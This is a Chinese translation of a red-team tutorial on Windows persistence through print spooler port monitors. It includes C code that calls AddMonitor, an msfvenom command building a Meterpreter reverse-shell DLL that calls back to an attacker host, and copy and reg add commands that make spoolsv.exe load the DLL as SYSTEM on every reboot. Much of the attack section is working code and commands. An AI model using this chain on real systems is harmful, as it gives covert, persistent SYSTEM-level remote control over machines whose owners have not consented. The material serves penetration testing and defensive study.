Window權限維持(九):端口監視器


后台打印程序服務負責管理Windows操作系統中的打印作業。與服務的交互通過打印后台處理程序API執行,該API包含一個函數(AddMonitor),可用於安裝本地端口監視器並連接配置、數據和監視器文件。此函數能夠將DLL注入spoolsv.exe進程,並且通過創建注冊表項,red team operator可以在系統上實現持久性。
Brady BloxhamDefcon 22上演示了這種持久性技術。應該注意的是,此技術需要管理員級別的特權,並且DLL必須拖放到磁盤上。Mantvydas Baranauskas在他的網站上使用了以下代碼,作為他的紅色團隊筆記的一部分。
WINDOWS.H報頭包括Winspool.h這是由微軟規范所需的頭。該MONITOR_INFO_2用於指定必要的監控細節是:

  • pName //監視器名稱
  • pEnvironment //環境架構
  • pDLLName //監視器DLL文件的名稱
#include "Windows.h"

int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("Monitor");
    TCHAR dll[12] = TEXT("test.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
}


 AddMonitor功能

 編譯代碼將生成一個可執行文件(在本例中為Monitors.exe),該可執行文件將在系統上執行惡意DLL(test.dll)的注冊。Metasploit框架可用於生成將服務於Meterpreter有效負載的DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > test.dll

該DLL必須復制到System32文件夾上,因為根據Microsoft 文檔,這是AddMonitor函數的預期位置,以便加載相關的DLL 。

copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
Monitors.exe


 將惡意DLL復制到System32

Monitors.exe必須與惡意DLL位於同一文件夾(System32)中。執行該文件將與Meterpreter建立通信。


 

 Meterpreter – AddMonitor注冊DLL

但是,為了實現持久性,在“ Monitors ”注冊表位置下需要一個密鑰。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

以下命令將創建一個注冊表項,該注冊表項將包含值test.dll。從編輯器中查看注冊表將驗證密鑰是否已創建。

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ


 端口監視器–注冊表項

下次重新啟動時,spoolsv.exe進程將加載Monitors注冊表項中存在並存儲在Windows文件夾System32中的所有驅動程序DLL文件。下圖演示了Meterpreter會話已建立與Print Spooler服務(SYSTEM)相同級別的特權,並且已從System32文件夾(已刪除test.dll的文件夾)執行了執行。


 

 持久性端口監視器– Meterpreter

 

譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

原文地址:https://pentestlab.blog/2019/10/28/persistence-port-monitors/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM